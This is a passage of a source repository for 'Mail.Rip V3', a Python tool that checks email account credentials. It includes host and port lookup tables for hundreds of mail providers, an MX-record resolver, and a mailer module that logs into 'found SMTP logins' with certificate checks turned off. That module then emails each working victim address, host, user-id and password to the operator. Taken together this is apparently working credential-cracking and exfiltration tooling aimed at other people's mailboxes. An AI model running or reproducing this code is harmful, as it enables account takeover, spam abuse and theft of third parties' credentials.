"jyde.dk":"mail.telenor.dk:143", 268 | "kabelbw.de":"imap.kabelbw.de:993", 269 | "kabelmail":"imap.kabelmail.de:993", 270 | "keromail.com":"imap.mail.com:993", 271 | "kidcity.be":"imap.proximus.be:993", 272 | "kittymail.com":"imap.mail.com:993", 273 | "klog.dk":"mail.telenor.dk:143", 274 | "knus.dk":"mail.telenor.dk:143", 275 | "koreamail.com":"imap.mail.com:993", 276 | "krudt.dk":"mail.telenor.dk:143", 277 | "kulturel.dk":"mail.telenor.dk:143", 278 | "kundenserver.de":"imap.1und1.de:993", 279 | "laposte.net":"imap.laposte.net:993", 280 | "larsen.dk":"mail.telenor.dk:143", 281 | "lawyer.com":"imap.mail.com:993", 282 | "lazy.dk":"mail.telenor.dk:143", 283 | "legislator.com":"imap.mail.com:993", 284 | "libero.it":"imapmail.libero.it:143", 285 | "linuxmail.org":"imap.mail.com:993", 286 | "list.ru":"imap.mail.ru:993", 287 | "live.at":"imap-mail.outlook.com:993", 288 | "live.co.jp":"imap-mail.outlook.com:993", 289 | "live.co.uk":"imap-mail.outlook.com:993", 290 | "live.com":"imap-mail.outlook.com:993", 291 | "live.de":"imap-mail.outlook.com:993", 292 | "live.fr":"imap-mail.outlook.com:993", 293 | "live.it":"imap-mail.outlook.com:993", 294 | "live.jp":"imap-mail.outlook.com:993", 295 | "live.nl":"imap-mail.outlook.com:993", 296 | "london.com":"imap.mail.com:993", 297 | "loop.de":"imap.o2mail.de:993", 298 | "loveable.com":"imap.mail.com:993", 299 | "lovecat.com":"imap.mail.com:993", 300 | "lycos":"imap.lycos.com:993", 301 | "lystig.dk":"mail.telenor.dk:143", 302 | "mac.com":"imap.mail.me.com:993", 303 | "mad.scientist.com":"imap.mail.com:993", 304 | "madonnafan.com":"imap.mail.com:993", 305 | "madrid.com":"imap.mail.com:993", 306 | "mail.com":"imap.mail.com:993", 307 | "mail.de":"imap.mail.de:993", 308 | "mail.dia.dk":"mail.telenor.dk:143", 309 | "mail.org":"imap.mail.com:993", 310 | "mail.ru":"imap.mail.ru:993", 311 | "mail.telenor.dk":"mail.telenor.dk:143", 312 | "marchmail.com":"imap.mail.com:993", 313 | "maskulin.dk":"mail.telenor.dk:143", 314 | "me.com":"imap.mail.me.com:993", 315 | "mexicomail.com":"imap.mail.com:993", 316 | "min-postkasse.dk":"mail.telenor.dk:143", 317 | "mindless.com":"imap.mail.com:993", 318 | "mindspring.com":"imap.earthlink.net:143", 319 | "minister.com":"imap.mail.com:993", 320 | "mobil.dk":"mail.telenor.dk:143", 321 | "mobsters.com":"imap.mail.com:993", 322 | "monarchy.com":"imap.mail.com:993", 323 | "mopera.net":"mail.mopera.net:993", 324 | "moscowmail.com":"imap.mail.com:993", 325 | "mozilla.com":"imap.googlemail.com:993", 326 | "mozillafoundation.org":"imap.googlemail.com:993", 327 | "msn.com":"imap-mail.outlook.com:993", 328 | "munich.com":"imap.mail.com:993", 329 | "musician.org":"imap.mail.com:993", 330 | "muslim.com":"imap.mail.com:993", 331 | "musling.dk":"mail.telenor.dk:143", 332 | "mymail.ch":"mail.mymail.ch:993", 333 | "mypec.eu":"imaps.pec.aruba.it:993", 334 | "myself.com":"imap.mail.com:993", 335 | "narod.ru":"imap.yandex.com:993", 336 | "natteliv.dk":"mail.telenor.dk:143", 337 | "netbruger.dk":"mail.telenor.dk:143", 338 | "netcologne.de":"imap.netcologne.de:993", 339 | "netscape.net":"imap.aol.com:993", 340 | "neuf.fr":"imap.sfr.fr:993", 341 | "newyork.usa.com":"imap.mail.com:993", 342 | "nord-com.net":"imap.swbmail.de:993", 343 | "null.net":"imap.mail.com:993", 344 | "nvbell.net":"inbound.att.net:995", 345 | "nycmail.com":"imap.mail.com:993", 346 | "o2.pl":"poczta.o2.pl:995", 347 | "o2mail.de":"imap.o2mail.de:993", 348 | "o2online.de":"imap.o2mail.de:993", 349 | "oath.com":"imap.mail.com:993", 350 | "one.com":"imap.one.com:993", 351 | "online.de":"imap.1und1.de:993", 352 | "onlinehome.de":"imap.1und1.de:993", 353 | "op.pl":"pop3.poczta.onet.pl:995", 354 | "optician.com":"imap.mail.com:993", 355 | "orange.fr":"imap.orange.fr:993", 356 | "osnanet.de":"imap.osnanet.de:993", 357 | "outlook.com":"imap-mail.outlook.com:993", 358 | "ovh.net":"ssl0.ovh.net:993", 359 | "pacbell.net":"inbound.att.net:995", 360 | "pacificwest.com":"imap.mail.com:993", 361 | "pec.it":"imaps.pec.aruba.it:993", 362 | "pedal.dk":"mail.telenor.dk:143", 363 | "pengemand.dk":"mail.telenor.dk:143", 364 | "peoplepc.com":"imap.peoplepc.com:143", 365 | "petlover.com":"imap.mail.com:993", 366 | "photographer.net":"imap.mail.com:993", 367 | "playful.com":"imap.mail.com:993", 368 | "pobox.com":"mail.pobox.com:993", 369 | "poetic.com":"imap.mail.com:993", 370 | "pokerface.dk":"mail.telenor.dk:143", 371 | "politician.com":"imap.mail.com:993", 372 | "popstar.com":"imap.mail.com:993", 373 | "post.com":"imap.mail.com:993", 374 | "post.cybercity.dk":"mail.telenor.dk:143", 375 | "post.cz":"imap.seznam.cz:993", 376 | "post.dia.dk":"mail.telenor.dk:143", 377 | "posteo.at":"posteo.de:143", 378 | "posteo.ch":"posteo.de:143", 379 | "posteo.de":"posteo.de:143", 380 | "posteo.eu":"posteo.de:143", 381 | "posteo.org":"posteo.de:143", 382 | "postman.dk":"mail.telenor.dk:143", 383 | "presidency.com":"imap.mail.com:993", 384 | "priest.com":"imap.mail.com:993", 385 | "privat.dia.dk":"mail.telenor.dk:143", 386 | "privatmail.dk":"mail.telenor.dk:143", 387 | "prodigy.net":"inbound.att.net:995", 388 | "programmer.net":"imap.mail.com:993", 389 | "proximus.be":"imap.proximus.be:993", 390 | "ptd.net":"promail.ptd.net:993", 391 | "publicist.com":"imap.mail.com:993", 392 | "q.com":"mail.q.com:995", 393 | "qq.com":"imap.qq.com:993", 394 | "quake.dk":"mail.telenor.dk:143", 395 | "rambler.ru":"mail.rambler.ru:993", 396 | "ready.dk":"mail.telenor.dk:143", 397 | "realtyagent.com":"imap.mail.com:993", 398 | "reborn.com":"imap.mail.com:993", 399 | "reggaefan.com":"imap.mail.com:993", 400 | "religious.com":"imap.mail.com:993", 401 | "repairman.com":"imap.mail.com:993", 402 | "representative.com":"imap.mail.com:993", 403 | "rescueteam.com":"imap.mail.com:993", 404 | "revenue.com":"imap.mail.com:993", 405 | "rocketmail.com":"imap.mail.yahoo.com:993", 406 | "rocketship.com":"imap.mail.com:993", 407 | "rockfan.com":"imap.mail.com:993", 408 | "rome.com":"imap.mail.com:993", 409 | "royal.net":"imap.mail.com:993", 410 | "rr.com":"mail.twc.com:993", 411 | "ruhrnet-online.de":"mx.versatel.de:143", 412 | "rzone.de":"imap.strato.de:993", 413 | "saintly.com":"imap.mail.com:993", 414 | "salesperson.net":"imap.mail.com:993", 415 | "sanfranmail.com":"imap.mail.com:993", 416 | "sbcglobal.net":"inbound.att.net:995", 417 | "schlund.de":"imap.1und1.de:993", 418 | "scientist.com":"imap.mail.com:993", 419 | "scotlandmail.com":"imap.mail.com:993", 420 | "secret.dk":"mail.telenor.dk:143", 421 | "secretary.net":"imap.mail.com:993", 422 | "seductive.com":"imap.mail.com:993", 423 | "seznam.cz":"imap.seznam.cz:993", 424 | "sfr.fr":"imap.sfr.fr:993", 425 | "singapore.com":"imap.mail.com:993", 426 | "sky.com":"imap.tools.sky.com:993", 427 | "skynet.be":"imap.proximus.be:993", 428 | "sleepy.dk":"mail.telenor.dk:143", 429 | "smart-mail":"imap.smart-mail.de:993", 430 | "smtp.cz":"email.active24.com:993", 431 | "snakebite.com":"imap.mail.com:993", 432 | "snet.net":"inbound.att.net:995", 433 | "so.wind.jp":"so.wind.ne.jp:143", 434 | "so.wind.ne.jp":"so.wind.ne.jp:143", 435 | "sofort-start.de":"imap.1und1.de:993", 436 | "sofort-surf.de":"imap.1und1.de:993", 437 | "sofortstart.de":"imap.1und1.de:993", 438 | "sofortsurf.de":"imap.1und1.de:993", 439 | "songwriter.net":"imap.mail.com:993", 440 | "soon.com":"imap.mail.com:993", 441 | "spainmail.com":"imap.mail.com:993", 442 | "spoluzaci.cz":"imap.seznam.cz:993", 443 | "sporty.dk":"mail.telenor.dk:143", 444 | "strato.de":"imap.strato.de:993", 445 | "studenti.univr.it":"univr.mail.cineca.it:993", 446 | "sunrise.ch":"imap.sunrise.ch:993", 447 | "superbruger.dk":"mail.telenor.dk:143", 448 | "surfeu.de":"mail.surfeu.de:993", 449 | "swbell.net":"inbound.att.net:995", 450 | "swbmail.de":"imap.swbmail.de:993", 451 | "swissonline.ch":"imap.hispeed.ch:993", 452 | "sympatico.ca":"imap.bell.net:993", 453 | "t-online.de":"secureimap.t-online.de:993", 454 | "talent.dk":"mail.telenor.dk:143", 455 | "talk21.com":"mail.btinternet.com:993", 456 | "tanke.dk":"mail.telenor.dk:143", 457 | "taxidriver.dk":"mail.telenor.dk:143", 458 | "teachers.org":"imap.mail.com:993", 459 | "techie.com":"imap.mail.com:993", 460 | "technologist.com":"imap.mail.com:993", 461 | "teens.dk":"mail.telenor.dk:143", 462 | "teknik.dk":"mail.telenor.dk:143", 463 | "telebel.de":"mx.versatel.de:143", 464 | "telelev.de":"mx.versatel.de:143", 465 | "telenet.be":"imap.telenet.be:993", 466 | "telstra.com":"mail.bigpond.com:995", 467 | "terra.es":"imap4.terra.es:143", 468 | "texas.usa.com":"imap.mail.com:993", 469 | "thegame.com":"imap.mail.com:993", 470 | "therapist.net":"imap.mail.com:993", 471 | "thinline.cz":"mail.cesky-hosting.cz:993", 472 | "tiscali.it":"imap.tiscali.it:993", 473 | "tiscali.net":"imap.tiscali.it:993", 474 | "tjekket.dk":"mail.telenor.dk:143", 475 | "toke.com":"imap.mail.com:993", 476 | "tokyo.com":"imap.mail.com:993", 477 | "toothfairy.com":"imap.mail.com:993", 478 | "traceroute.dk":"mail.telenor.dk:143", 479 | "tu-berlin.de":"mailbox.tu-berlin.de:993", 480 | "tv.dk":"mail.telenor.dk:143", 481 | "tvstar.com":"imap.mail.com:993", 482 | "ugenstilbud.dk":"mail.telenor.dk:143", 483 | "umpire.com":"imap.mail.com:993", 484 | "ungdom.dk":"mail.telenor.dk:143", 485 | "uni-muenster.de":"imap.uni-muenster.de:993", 486 | "uni.de":"mail.uni.de:993", 487 | "unitybox.de":"imap.unitybox.de:993", 488 | "unitybox.de":"mail.unitybox.de:993", 489 | "usa.com":"imap.mail.com:993", 490 | "utanet.at":"mail.utanet.at:993", 491 | "uymail.com":"imap.mail.com:993", 492 | "versanet.de":"mx.versatel.de:143", 493 | "versatel.de":"imap4.versatel.de:993", 494 | "versatel.de":"mx.versatel.de:143", 495 | "video.dk":"mail.telenor.dk:143", 496 | "vip.cybercity.dk":"mail.telenor.dk:143", 497 | "virgin.net":"imap4.virgin.net:993", 498 | "virginmedia.com":"imap.virginmedia.com:993", 499 | "vittig.dk":"mail.telenor.dk:143", 500 | "vm.aikis.or.jp":"mail.aikis.or.jp:995", 501 | "vodafone.de":"imap.vodafone.de:993", 502 | "vodafone.net":"imap.vodafone.de:993", 503 | "vr-web.de":"mail.vr-web.de:993", 504 | "vtxmail.ch":"smtp.vtxmail.ch:993", 505 | "wallet.com":"imap.mail.com:993", 506 | "wanadoo.fr":"imap.orange.fr:993", 507 | "wans.net":"inbound.att.net:995", 508 | "web.de":"imap.web.de:993", 509 | "webhuset.no":"imap.webhuset.no:993", 510 | "webname.com":"imap.mail.com:993", 511 | "weirdness.com":"imap.mail.com:993", 512 | "who.net":"imap.mail.com:993", 513 | "whoever.com":"imap.mail.com:993", 514 | "winning.com":"imap.mail.com:993", 515 | "witty.com":"imap.mail.com:993", 516 | "wol.dk":"mail.telenor.dk:143", 517 | "worker.com":"imap.mail.com:993", 518 | "workmail.com":"imap.mail.com:993", 519 | "worldonline.dk":"mail.telenor.dk:143", 520 | "wp.pl":"imap.wp.pl:993", 521 | "writeme.com":"imap.mail.com:993", 522 | "xtra.co.nz":"pop3.xtra.co.nz:995", 523 | "ya.ru":"imap.yandex.com:993", 524 | "yahoo.co.jp":"pop.mail.yahoo.co.jp:995", 525 | "yahoo.co.nz":"imap.mail.yahoo.com:993", 526 | "yahoo.co.uk":"imap.mail.yahoo.com:993", 527 | "yahoo.com.ar":"imap.mail.yahoo.com:993", 528 | "yahoo.com.au":"imap.mail.yahoo.com:993", 529 | "yahoo.com.br":"imap.mail.yahoo.com:993", 530 | "yahoo.com.mx":"imap.mail.yahoo.com:993", 531 | "yahoo.com":"imap.mail.yahoo.com:993", 532 | "yahoo.de":"imap.mail.yahoo.com:993", 533 | "yahoo.es":"imap.mail.yahoo.com:993", 534 | "yahoo.fr":"imap.mail.yahoo.com:993", 535 | "yahoo.gr":"imap.mail.yahoo.com:993", 536 | "yahoo.it":"imap.mail.yahoo.com:993", 537 | "yahoo.no":"imap.mail.yahoo.com:993", 538 | "yahoo.se":"imap.mail.yahoo.com:993", 539 | "yahoodns.net":"imap.mail.yahoo.com:993", 540 | "yandex.by":"imap.yandex.com:993", 541 | "yandex.com":"imap.yandex.com:993", 542 | "yandex.kz":"imap.yandex.com:993", 543 | "yandex.net":"imap.yandex.com:993", 544 | "yandex.ru":"imap.yandex.com:993", 545 | "yandex.ua":"imap.yandex.com:993", 546 | "yeah.net":"imap.yeah.net:993", 547 | "ymail.com":"imap.mail.yahoo.com:993", 548 | "yours.com":"imap.mail.com:993", 549 | "zeelandnet.nl":"mail.zeelandnet.nl:993" 550 | } 551 | } 552 | -------------------------------------------------------------------------------- /inc_mxlookup.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/opt/python@3.8/bin/python3 2 | # -*- coding: utf-8 -*- 3 | 4 | __author__ = 'DrPython3' 5 | __date__ = '2021-12-04' 6 | __version__ = '1.1' 7 | __contact__ = 'https://github.com/DrPython3' 8 | 9 | ''' 10 | -------------------------------------------- 11 | Functions for Reading MX Records of a Domain 12 | -------------------------------------------- 13 | 14 | Part of << Mail.Rip V3: https://github.com/DrPython3/MailRipV3 >> 15 | ''' 16 | 17 | # [IMPORTS] 18 | # --------- 19 | 20 | import sys 21 | import socket 22 | import dns.resolver 23 | from inc_etc import domain_verification 24 | 25 | # [FUNCTIONS] 26 | # ----------- 27 | 28 | def get_host(default_timeout, email): 29 | ''' 30 | Checks the DNS records of an email-domain for MX infos and returns any found SMTP URI. 31 | 32 | :param float default_timeout: connection timeout 33 | :param str email: email with domain to check 34 | :return: found (True, False), smtp_host (SMTP URI) 35 | ''' 36 | # set variables and stuff: 37 | socket.setdefaulttimeout(default_timeout) 38 | found = False 39 | smtp_host = str('none') 40 | smtp_domain = str(email.split('@')[1]) 41 | get_records = dns.resolver.Resolver(configure=False) 42 | # using Google DNS, replace on purpose: 43 | get_records.nameservers = ['8.8.8.8'] 44 | records = get_records.resolve(smtp_domain, 'MX') 45 | counter = 0 46 | # extract host from records: 47 | while found == False: 48 | try: 49 | possible_host = str(records[counter]).split(' ')[1].rstrip('.') 50 | verify_domain = domain_verification(possible_host) 51 | if verify_domain == True: 52 | smtp_host = possible_host 53 | found = True 54 | else: 55 | counter += 1 56 | except: 57 | break 58 | return found, smtp_host 59 | 60 | # DrPython3 (C) 2021 @ GitHub.com 61 | -------------------------------------------------------------------------------- /inc_smtpports.json: -------------------------------------------------------------------------------- 1 | { 2 | "smtpports":[ 3 | 25, 4 | 587, 5 | 465, 6 | 2525 7 | ] 8 | } 9 | -------------------------------------------------------------------------------- /inc_smtpservices.json: -------------------------------------------------------------------------------- 1 | { 2 | "smtpservices":{ 3 | "1and1.co.uk":"smtp.1and1.com:587", 4 | "1and1.com":"smtp.1and1.com:587", 5 | "1und1.de":"smtp.1und1.de:587", 6 | "aim.com":"smtp.aim.com:587", 7 | "alice-dsl.de":"smtp.alice-dsl.de:587", 8 | "alice-dsl.net":"smtp.alice-dsl.de:587", 9 | "alice.de":"smtp.alice-dsl.de:587", 10 | "aol.com":"smtp.aol.com:587", 11 | "aol.de":"smtp.de.aol.com:587", 12 | "comcast.net":"smtp.comcast.net:587", 13 | "earthlink.net":"smtpauth.earthlink.net:587", 14 | "email.com":"smtp.mail.com:587", 15 | "email.de":"smtp.mail.de:587", 16 | "ewe.net":"smtp.ewe.net:587", 17 | "google.com":"smtp.gmail.com:587", 18 | "googlemail.com":"smtp.gmail.com:587", 19 | "gmail.com":"smtp.gmail.com:587", 20 | "home.nl":"smtp.ziggo.nl:587", 21 | "homemail.com":"smtp.mail.com:587", 22 | "hotmail.co.uk":"smtp.live.com:587", 23 | "hotmail.com":"smtp.live.com:587", 24 | "hotmail.de":"smtp.live.com:587", 25 | "icloud.com":"smtp.mail.me.com:587", 26 | "live.com":"smtp.office365.com:587", 27 | "live.de":"smtp.office365.com:587", 28 | "mail.com":"smtp.mail.com:587", 29 | "mail.de":"smtp.mail.de:587", 30 | "mail.org":"smtp.mail.com:587", 31 | "mail.ru":"smtp.mail.ru:587", 32 | "me.com":"smtp.mail.me.com:587", 33 | "msn.com":"smtp.office365.com:587", 34 | "netscape.net":"smtp.aol.com:587", 35 | "online.de":"smtp.1und1.de:587", 36 | "onlinehome.de":"smtp.1und1.de:587", 37 | "outlook.com":"smtp.office365.com:587", 38 | "post.com":"smtp.mail.com:587", 39 | "t-online.de":"securesmtp.t-online.de:587", 40 | "tiscali.co.uk":"smtp.tiscali.co.uk:587", 41 | "vodafone.de":"smtp.vodafonemail.de:587", 42 | "vodafone.net":"smtp.vodafonemail.de:587", 43 | "yahoo.co.uk":"smtp.mail.yahoo.com:587", 44 | "yahoo.com":"smtp.mail.yahoo.com:587", 45 | "yahoo.de":"smtp.mail.yahoo.com:587", 46 | "seznam.cz":"smtp.seznam.cz:587", 47 | "club-internet.fr":"smtp.club-internet.fr:587", 48 | "web.de":"smtp.web.de:587", 49 | "outlook.de":"smtp.office365.com:587", 50 | "office365.com":"smtp.office365.com:587", 51 | "yeah.net":"smtp.yeah.net:587", 52 | "hawaiiantel.net":"smtp.hawaiiantel.net:587", 53 | "sina.cn":"smtp.sina.cn:587", 54 | "163.com":"smtp.163.com:587", 55 | "mybluelight.com":"smtp.mybluelight.com:587", 56 | "sfr.fr":"mail.sfr.fr:587", 57 | "netzero.net":"smtp.netzero.net:587", 58 | "ziggo.nl":"smtp.ziggo.nl:587", 59 | "terra.com.br":"smtp.sao.terra.com.br:587", 60 | "charter.net":"mobile.charter.net:587", 61 | "att.net":"smtp.mail.att.net:465", 62 | "ameritech.net":"smtp.mail.att.net:465", 63 | "bellsouth.net":"smtp.mail.att.net:465", 64 | "prodigy.net":"smtp.mail.att.net:465", 65 | "cox.net":"smtp.coxmail.com:465", 66 | "cox.com":"smtp.coxmail.com:465", 67 | "coxmail.com":"smtp.coxmail.com:465", 68 | "freesurf.ch":"smtp2.sunrise.ch:465", 69 | "gmx.com":"mail.gmx.com:465", 70 | "gmx.de":"mail.gmx.com:465", 71 | "gmx.net":"mail.gmx.com:465", 72 | "gmx.org":"mail.gmx.com:465", 73 | "kabelmail.de":"smtp.kabelmail.de:465", 74 | "netcologne.de":"smtp.netcologne.de:465", 75 | "orange.fr":"smtp.orange.fr:465", 76 | "sunrise.ch":"smtp2.sunrise.ch:465", 77 | "virgin.net":"smtp.virgin.net:465", 78 | "wanadoo.fr":"smtp.orange.fr:465", 79 | "yandex.com":"smtp.yandex.com:465", 80 | "yandex.net":"smtp.yandex.com:465", 81 | "yandex.ru":"smtp.yandex.com:465", 82 | "uol.com.br":"smtp.uol.com.br:465", 83 | "ntlworld.com":"smtp.ntlworld.com:465", 84 | "alice.it":"out.alice.it:25", 85 | "arcor.de":"mail.arcor.de:25", 86 | "arcormail.de":"mail.arcor.de:25", 87 | "btinternet.com":"mail.btinternet.com:25", 88 | "btopenworld.com":"mail.btinternet.com:25", 89 | "epost.de":"mail.epost.de:25", 90 | "ewetel.de":"smtp-1.ewetel.net:25", 91 | "ewetel.net":"smtp-1.ewetel.net:25", 92 | "freenet.de":"mx.freenet.de:25", 93 | "lycos.com":"smtp.mail.lycos.com:25", 94 | "lycos.de":"smtp.lycos.de:25", 95 | "tiscali.net":"smtp.tiscalinet.de:25", 96 | "baldwin-telecom.net":"mail.baldwin-telecom.net:25", 97 | "rambler.ru":"mail.rambler.ru:25" 98 | } 99 | } 100 | -------------------------------------------------------------------------------- /inc_testmail.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/opt/python@3.8/bin/python3 2 | # -*- coding: utf-8 -*- 3 | 4 | __author__ = 'DrPython3' 5 | __date__ = '2021-12-04' 6 | __version__ = '2.5' 7 | __contact__ = 'https://github.com/DrPython3' 8 | 9 | ''' 10 | ---------------------------------------------------------- 11 | Functions for Sending Test Messages with found SMTP Logins 12 | ---------------------------------------------------------- 13 | 14 | Part of << Mail.Rip V3: https://github.com/DrPython3/MailRipV3 >> 15 | ''' 16 | 17 | # [IMPORTS] 18 | # --------- 19 | 20 | import sys 21 | import json 22 | import uuid 23 | import smtplib 24 | import ssl 25 | from random import randint 26 | from email.message import EmailMessage 27 | 28 | # [FUNCTIONS] 29 | # ----------- 30 | 31 | def mailer(default_email, target_email, target_host, target_port, target_user, target_password): 32 | ''' 33 | Tests found SMTP logins by sending a message to the user's email. 34 | 35 | :param str default_email: user email for receiving test messages 36 | :param str target_email: email of found smtp login 37 | :param str target_host: host of found smtp login 38 | :param int target_port: port of smtp host 39 | :param str target_user: user-id of found smtp login 40 | :param str target_password: password for user-id 41 | :return: True (email sent), False (no email sent) 42 | ''' 43 | try: 44 | # set variables and stuff: 45 | sslcontext = ssl.create_default_context() 46 | try: 47 | sslcontext.check_hostname = False 48 | sslcontext.verify_mode = ssl.CERT_NONE 49 | except: 50 | pass 51 | content_loaded = False 52 | try: 53 | with open('inc_emailcontent.json') as included_imports: 54 | json_object = json.load(included_imports) 55 | email_titles = (json_object['email_titles']) 56 | email_firstlines = (json_object['email_firstlines']) 57 | email_secondlines = (json_object['email_secondlines']) 58 | email_thirdlines = (json_object['email_thirdlines']) 59 | content_loaded = True 60 | except: 61 | email_titles = [] 62 | email_firstlines = [] 63 | email_secondlines = [] 64 | email_thirdlines = [] 65 | # generate random id: 66 | random_id = str(uuid.uuid4().hex)[0:6].upper() 67 | # generate parts of the message using the libraries: 68 | if content_loaded == True: 69 | letter_subject = str( 70 | email_titles[randint(0, len(email_titles) - 1)] + random_id 71 | ) 72 | letter_firstline = str( 73 | email_firstlines[randint(0, len(email_firstlines) - 1)] 74 | ) 75 | letter_secondline= str( 76 | email_secondlines[randint(0, len(email_secondlines) - 1)] 77 | ) 78 | letter_thirdline = str( 79 | email_thirdlines[randint(0, len(email_thirdlines) - 1)] 80 | ) 81 | # if previous step fails, this fallback is used: 82 | else: 83 | letter_subject = str( 84 | f'Test Message ID{random_id}' 85 | ) 86 | letter_firstline = str( 87 | 'thank you for using mailrip by drpython3.' 88 | ) 89 | letter_secondline = str( 90 | 'the following smtp account was found.' 91 | ) 92 | letter_thirdline = str( 93 | 'this hit has been saved to the results dir, too.' 94 | ) 95 | # generate the testmessage: 96 | message = str( 97 | letter_firstline + '\n' 98 | + letter_secondline + '\n' 99 | + f'email: {target_email}\n' 100 | + f'smtp host: {target_host}:{str(target_port)}\n' 101 | + f'user-id: {target_user}\n' 102 | + f'password: {target_password}\n' 103 | + letter_thirdline + '\n' 104 | ) 105 | # pack the testmessage: 106 | letter = EmailMessage() 107 | letter.set_content(message) 108 | letter['Subject'] = str(f'{letter_subject}') 109 | letter['From'] = str(f'{target_email}') 110 | letter['To'] = str(f'{default_email}') 111 | # connect to smtp server: 112 | if target_port == 465: 113 | mailer = smtplib.SMTP_SSL( 114 | host=target_host, 115 | port=target_port, 116 | timeout=float(60), 117 | context=sslcontext 118 | ) 119 | mailer.ehlo() 120 | else: 121 | mailer = smtplib.SMTP( 122 | host=target_host, 123 | port=target_port, 124 | timeout=float(60) 125 | ) 126 | mailer.ehlo() 127 | try: 128 | mailer.starttls( 129 | context=sslcontext 130 | ) 131 | mailer.ehlo() 132 | except: 133 | pass 134 | mailer.login( 135 | user=target_user, 136 | password=target_password 137 | ) 138 | # send email and quit: 139 | mailer.send_message(letter) 140 | mailer.quit() 141 | return True 142 | except: 143 | return False 144 | 145 | # DrPython3 (C) 2021 @ GitHub.com 146 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | tkinter 2 | dnspython 3 | PySocks 4 | --------------------------------------------------------------------------------